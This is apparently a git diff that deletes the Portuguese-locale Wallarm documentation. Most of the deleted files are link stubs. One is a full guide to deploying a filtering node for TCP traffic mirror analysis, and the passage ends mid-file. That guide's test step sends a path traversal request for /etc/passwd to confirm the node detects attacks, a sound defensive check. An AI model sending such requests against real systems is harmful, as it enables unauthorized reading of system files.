a/docs/pt-BR/installation/nginx/dynamic-module.md +++ /dev/null @@ -1,33 +0,0 @@ -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../custom/custom-nginx-version.md -[node-token]: ../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/nginx/dynamic-module.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/ebpf/deployment.md b/docs/pt-BR/installation/oob/ebpf/deployment.md deleted file mode 100644 index e2574b543e..0000000000 --- a/docs/pt-BR/installation/oob/ebpf/deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/oob/ebpf/deployment.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/ebpf/helm-chart-for-wallarm.md b/docs/pt-BR/installation/oob/ebpf/helm-chart-for-wallarm.md deleted file mode 100644 index a359b05d89..0000000000 --- a/docs/pt-BR/installation/oob/ebpf/helm-chart-for-wallarm.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/oob/ebpf/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/ebpf/selecting-packets.md b/docs/pt-BR/installation/oob/ebpf/selecting-packets.md deleted file mode 100644 index acd88fa0de..0000000000 --- a/docs/pt-BR/installation/oob/ebpf/selecting-packets.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/oob/ebpf/selecting-packets.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/overview.md b/docs/pt-BR/installation/oob/overview.md deleted file mode 100644 index bffb51d609..0000000000 --- a/docs/pt-BR/installation/oob/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/oob/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/tcp-traffic-mirror/configuration.md b/docs/pt-BR/installation/oob/tcp-traffic-mirror/configuration.md deleted file mode 100644 index 050d98ef3d..0000000000 --- a/docs/pt-BR/installation/oob/tcp-traffic-mirror/configuration.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/oob/tcp-traffic-mirror/configuration.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/tcp-traffic-mirror/deployment.md b/docs/pt-BR/installation/oob/tcp-traffic-mirror/deployment.md deleted file mode 100644 index 7842e2c78b..0000000000 --- a/docs/pt-BR/installation/oob/tcp-traffic-mirror/deployment.md +++ /dev/null @@ -1,290 +0,0 @@ -# Deploying the Node for TCP Traffic Mirror Analysis - -Wallarm provides an artifact for deploying its filtering node, specifically designed for TCP traffic mirror analysis. This guide explains how to deploy and configure the Wallarm filtering node in this form-factor. - -## Use cases - -Among all supported [out-of-band deployment options](../../supported-deployment-options.md#out-of-band), this solution is recommended for the following scenarios: - -* You prefer to capture TCP traffic mirrored at the network layer and require a security solution to analyze this specific traffic. -* NGINX or Envoy-based deployment artifacts are unavailable, too slow, or consume too many resources. In this case, implementing HTTP traffic mirror analysis can be resource-intensive. The TCP traffic mirror analysis runs independently from web servers, avoiding these issues. -* You require a security solution that also parses responses, enabling features like [vulnerability detection](../../../about-wallarm/detecting-vulnerabilities.md) and [API discovery](../../../api-discovery/overview.md), which rely on response data. - -## How does it work - -This solution operates in out-of-band (OOB) mode, capturing mirrored TCP traffic directly from the network interface, independent of web servers like NGINX. The captured traffic is then parsed, reassembled, and analyzed for threats. - -It functions as a mirror target, seamlessly switching between multiple traffic sources. The solution supports traffic tagged with VLAN (802.1q), VXLAN, or SPAN. - -Additionally, the solution enables response mirror parsing, providing Wallarm features that rely on response data. These features include [vulnerability detection](../../../about-wallarm/detecting-vulnerabilities.md), [API discovery](../../../api-discovery/overview.md) and more. - -![!TCP traffic mirror scheme](../../../images/waf-installation/oob/tcp-mirror-analysis.png) - -## Requirements - -* Access to the account with the **Administrator** role in Wallarm Console for the [US Cloud](https://us1.my.wallarm.com/) or [EU Cloud](https://my.wallarm.com/). -* The machine intended for running the node must meet the following criteria: - - * Linux OS - * x86_64/ARM64 architecture - * Executing all commands as a superuser (e.g. `root`). - * Allowed outgoing connections to `https://meganode.wallarm.com` to download the Wallarm installer - * Allowed outgoing connections to `https://us1.api.wallarm.com` for working with US Wallarm Cloud or to `https://api.wallarm.com` for working with EU Wallarm Cloud - * Allowed outgoing connections to the IP addresses below for downloading updates to attack detection rules and [API specifications](../../../api-specification-enforcement/overview.md), as well as retrieving precise IPs for your [allowlisted, denylisted, or graylisted](../../../user-guides/ip-lists/overview.md) countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Traffic and response mirroring must be configured with both source and target set up, and the prepared instance chosen as a mirror target. Specific environment requirements must be met, such as allowing specific protocols for traffic mirroring configurations. -* Mirrored traffic is tagged with either VLAN (802.1q), VXLAN, or SPAN. - -## Step 1: Prepare Wallarm token - -To install node, you will need a token for registering the node in the Wallarm Cloud. To prepare a token: - -1. Open Wallarm Console → **Settings** → **API tokens** in the [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) or [EU Cloud](https://my.wallarm.com/settings/api-tokens). -1. Find or create API token with the `Node deployment/Deployment` usage type. -1. Copy this token. - -## Step 2: Download Wallarm installer - -Wallarm suggests installations for the following processors: - -* x86_64 -* ARM64 - -To download Wallarm installation script and make it executable, use the following commands: - -=== "x86_64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.12.0.x86_64.sh - chmod +x aio-native-0.12.0.x86_64.sh - ``` -=== "ARM64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.12.0.aarch64.sh - chmod +x aio-native-0.12.0.aarch64.sh - ``` - -## Step 3: Prepare the configuration file - -Create the `wallarm-node-conf.yaml` file on the instance. The solution requires proper configuration to identify the network interface and the traffic format (e.g., VLAN, VXLAN). The example content of the file: - -```yaml -version: 3 - -mode: tcp-capture - -goreplay: - filter: 'enp7s0:' - extra_args: - - -input-raw-engine - - vxlan -``` - -In the [article](../../native-node/all-in-one-conf.md), you will find the list of more supported configuration parameters. - -### Setting the mode (required) - -It is required to specify the `tcp-capture` mode in the corresponding parameter to run the solution for the TCP traffic mirror analysis. - -### Choosing a network interface for listening - -To specify the network interface to capture traffic from: - -1. Check network interfaces available on the host: - - ``` - ip addr show - ``` - -1. Specify the network interface in the `filter` parameter. - - Note that the value should be the network interface and port separated by a colon (`:`). Examples of filters include `eth0:`, `eth0:80`, or `:80` (to intercept a specific port on all interfaces), e.g.: - - ```yaml - version: 3 - - mode: tcp-capture - - goreplay: - filter: 'eth0:' - ``` - -### Capturing VLAN - -If mirrored traffic is wrapped in VLAN, provide additional arguments: - -```yaml -version: 3 - -mode: tcp-capture - -goreplay: - filter: - extra_args: - - -input-raw-vlan - - -input-raw-vlan-vid - # VID of your VLAN, e.g.: - # - 42 -``` - -### Capturing VXLAN - -If mirrored traffic is wrapped in VXLAN (common in AWS), provide additional arguments: - -```yaml -version: 3 - -mode: tcp-capture - -goreplay: - filter: - extra_args: - - -input-raw-engine - - vxlan - # Custom VXLAN UDP port, e.g.: - # - -input-raw-vxlan-port - # - 4789 - # Specific VNI (by default, all VNIs are captured), e.g.: - # - -input-raw-vxlan-vni - # - 1 -``` - -### Identifying the original client IP address - -By default, Wallarm reads the source IP address from the network packet's IP headers. However, proxies and load balancers can change this to their own IPs. - -To preserve the real client IP, these intermediaries often add an HTTP header (e.g., `X-Real-IP`, `X-Forwarded-For`). The `real_ip_header` parameter tells Wallarm which header to use to extract the original client IP, e.g.: - -```yaml -version: 3 - -mode: tcp-capture - -http_inspector: - real_ip_header: "X-Real-IP" -``` - -## Step 4: Run the Wallarm installer - -To install the Wallarm node for TCP traffic mirror analysis, run the following command: - -=== "x86_64 version" - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` -=== "ARM64 version" - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` - -* The `WALLARM_LABELS` variable sets group into which the node will be added (used for logical grouping of nodes in the Wallarm Console UI). -* `` specifies the generated API token for the `Deploy` role. -* `` specifies the path to the configuration file prepared before. - -The provided configuration file will be copied to the path: `/opt/wallarm/etc/wallarm/go-node.yaml`. - -If needed, you can change the copied file after the installation is finished. To apply the changes, you will need to restart the Wallarm service with `sudo systemctl restart wallarm`. - -## Step 5: Test the solution - -Send the test [Path Traversal](../../../attacks-vulns-list.md#path-traversal) attack to the mirror source address by replacing `` with the actual IP address or DNS name of the instance: - -``` -curl http:///etc/passwd -``` - -Since the Wallarm solution for TCP traffic mirror analysis operates out-of-band, it does not block attacks but only registers them. - -To check that the attack has been registered, proceed to Wallarm Console → **Events**: - -![!Attacks in the interface](../../../images/waf-installation/epbf/ebpf-attack-in-ui.png) - -## Verifying the node operation - -* To check if there is traffic on the network interface you are trying to capture from, run the following command on your machine: - - ``` - sudo tcpdump -i - ``` -* To verify the node is detecting traffic, you can check the logs: - - * The Native Node logs are written to `/opt/wallarm/var/log/wallarm/go-node.log` by default. - * [Standard logs](../../../admin-en/configure-logging.md) of the filtering node such as whether the data is sent to the Wallarm Cloud, detected attacks, etc. are located in the directory `/opt/wallarm/var/log/wallarm`. - -For additional debugging, set the [`log.level`](../../native-node/all-in-one-conf.md#loglevel) parameter to `debug`. - -## Installer launch options - -* As soon as you have the all-in one script downloaded, you can get **help** on it with: - - === "x86_64 version" - ``` - sudo ./aio-native-0.12.0.x86_64.sh -- --help - ``` - === "ARM64 version" - ``` - sudo ./aio-native-0.12.0.aarch64.sh -- --help - ``` -* You can also run the installer in an **interactive** mode and choose the `tcp-capture` mode in the 1st step: - - === "x86_64 version" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh - ``` - === "ARM64 version" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh - ``` -* You can use the node in API Discovery-only mode (available since version 0.12.0). In this mode, attacks - including those detected by the Node's built-in mechanisms and those requiring additional configuration (e.g., credential stuffing, API specification violation attempts and brute force) - are detected and [logged](../../../admin-en/configure-logging.md) locally but not exported to Wallarm Cloud. Since there is no attack data in the Cloud, [Threat Replay Testing](../../../vulnerability-detection/threat-replay-testing/overview.md) does not work. - - Meanwhile, [API Discovery](../../../api-discovery/overview.md) and [security vulnerability detection](../../../about-wallarm/detecting-vulnerabilities.md) remain fully functional, detecting relevant security entities and uploading them to the Cloud for visualization. - - This mode is for those who want to review their API inventory and identify sensitive data first, and plan controlled attack data export accordingly. However, disabling attack export is rare, as Wallarm securely processes attack data and provides [sensitive attack data masking](../../../user-guides/rules/sensitive-data-rule.md) if needed. - - To enable API Discovery-only mode: - - 1. Create or modify the `/etc/wallarm-override/env.list` file: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - Add the following variable: - - ``` - WALLARM_APID_ONLY=true - ``` - - 1. Follow the [node installation procedure from the 1st step](#step-1-prepare-wallarm-token). - -## Upgrade and reinstallation - -* To upgrade the node, follow the [instructions](../../../updating-migrating/native-node/all-in-one.md). -* If there is a problem with the upgrade or reinstallation process: - - 1. Remove the current installation: - - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` - - 1. Install the node as usual following the installation steps from above. - -## Limitations - -* Due to its out-of-band (OOB) operation, which analyzes traffic independently from actual flow, the solution has several inherent limitations: - - * It does not instantly block malicious requests. Wallarm only observes attacks and provides you with the [details in Wallarm Console](../../../user-guides/events/check-attack.md). - * [Rate limiting](../../../user-guides/rules/rate-limiting.md) is not supported as it is impossible to limit load on target servers. - * [Filtering by IP addresses](../../../user-guides/ip-lists/overview.md) is not supported. -* The solution analyzes only unencrypted HTTP traffic over raw TCP, not encrypted HTTPS traffic. -* The solution does not support parsing responses over HTTP keep-alive connections yet. diff --git a/docs/pt-BR/installation/oob/web-server-mirroring/aws-ami.md b/docs/pt-BR/installation/oob/web-server-mirroring/aws-ami.md deleted file mode 100644 index c86aa69ce9..0000000000 --- a/docs/pt-BR/installation/oob/web-server-mirroring/aws-ami.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -search: - exclude: true ---- - -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[node-token]: ../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../overview.md#advantages-and-limitations -[wallarm-mode]: ../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/oob/web-server-mirroring/aws-ami.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/web-server-mirroring/docker-image.md b/docs/pt-BR/installation/oob/web-server-mirroring/docker-image.md deleted file mode 100644 index e9ef345468..0000000000 --- a/docs/pt-BR/installation/oob/web-server-mirroring/docker-image.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -search: - exclude: true ---- - -[doc-wallarm-mode]: ../../../admin-en/configure-parameters-en.md#wallarm_mode -[doc-config-params]: ../../../admin-en/configure-parameters-en.md -[waf-mode-instr]: ../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[nginx-waf-directives]: ../../../admin-en/configure-parameters-en.md -[graylist-docs]: ../../../user-guides/ip-lists/graylist.md -[filtration-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[application-configuration]: ../../../user-guides/settings/applications.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[node-status-docs]: ../../../admin-en/configure-statistics-service.md -[node-token]: ../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../supported-deployment-options.md -[oob-advantages-limitations]: ../overview.md#advantages-and-limitations -[web-server-mirroring-examples]: overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[memory-instr]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[aws-ecs-docs]: ../../cloud-platforms/aws/docker-container.md -[gcp-gce-docs]: ../../cloud-platforms/gcp/docker-container.md -[azure-container-docs]: ../../cloud-platforms/azure/docker-container.md -[alibaba-ecs-docs]: ../../cloud-platforms/alibaba-cloud/docker-container.md - ---8<-- "latest-pt-BR/installation/oob/web-server-mirroring/docker-image.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/web-server-mirroring/gcp-machine-image.md b/docs/pt-BR/installation/oob/web-server-mirroring/gcp-machine-image.md deleted file mode 100644 index f2898e3ae1..0000000000 --- a/docs/pt-BR/installation/oob/web-server-mirroring/gcp-machine-image.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -search: - exclude: true ---- - -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[node-token]: ../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../overview.md#advantages-and-limitations -[wallarm-mode]: ../../../admin-en/configure-wallarm-mode.md -[wallarm-api-via-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[img-grouped-nodes]: ../../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/oob/web-server-mirroring/gcp-machine-image.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/web-server-mirroring/linux/all-in-one.md b/docs/pt-BR/installation/oob/web-server-mirroring/linux/all-in-one.md deleted file mode 100644 index d75236b3df..0000000000 --- a/docs/pt-BR/installation/oob/web-server-mirroring/linux/all-in-one.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/oob/web-server-mirroring/linux/all-in-one.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/web-server-mirroring/linux/nginx-distro.md b/docs/pt-BR/installation/oob/web-server-mirroring/linux/nginx-distro.md deleted file mode 100644 index b71a65f13c..0000000000 --- a/docs/pt-BR/installation/oob/web-server-mirroring/linux/nginx-distro.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[oob-advantages-limitations]: ../../overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/oob/web-server-mirroring/linux/nginx-distro.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/web-server-mirroring/linux/nginx-plus.md b/docs/pt-BR/installation/oob/web-server-mirroring/linux/nginx-plus.md deleted file mode 100644 index da64037111..0000000000 --- a/docs/pt-BR/installation/oob/web-server-mirroring/linux/nginx-plus.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[oob-advantages-limitations]: ../../overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/oob/web-server-mirroring/linux/nginx-plus.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/web-server-mirroring/linux/nginx-stable.md b/docs/pt-BR/installation/oob/web-server-mirroring/linux/nginx-stable.md deleted file mode 100644 index 57b4a45b34..0000000000 --- a/docs/pt-BR/installation/oob/web-server-mirroring/linux/nginx-stable.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -search: - exclude: true ---- - -[img-wl-console-users]: ../../../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../../../admin-en/configure-statistics-service.md -[memory-instr]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../../admin-en/installation-postanalytics-en.md -[dynamic-dns-resolution-nginx]: ../../../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../../custom/custom-nginx-version.md -[node-token]: ../../../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../../../installation/supported-deployment-options.md -[oob-advantages-limitations]: ../../overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/oob/web-server-mirroring/linux/nginx-stable.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/oob/web-server-mirroring/overview.md b/docs/pt-BR/installation/oob/web-server-mirroring/overview.md deleted file mode 100644 index 6bd4f22c27..0000000000 --- a/docs/pt-BR/installation/oob/web-server-mirroring/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/oob/web-server-mirroring/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/packages/aws-ami.md b/docs/pt-BR/installation/packages/aws-ami.md deleted file mode 100644 index 26989831ac..0000000000 --- a/docs/pt-BR/installation/packages/aws-ami.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -search: - exclude: true ---- - -[link-ssh-keys]: 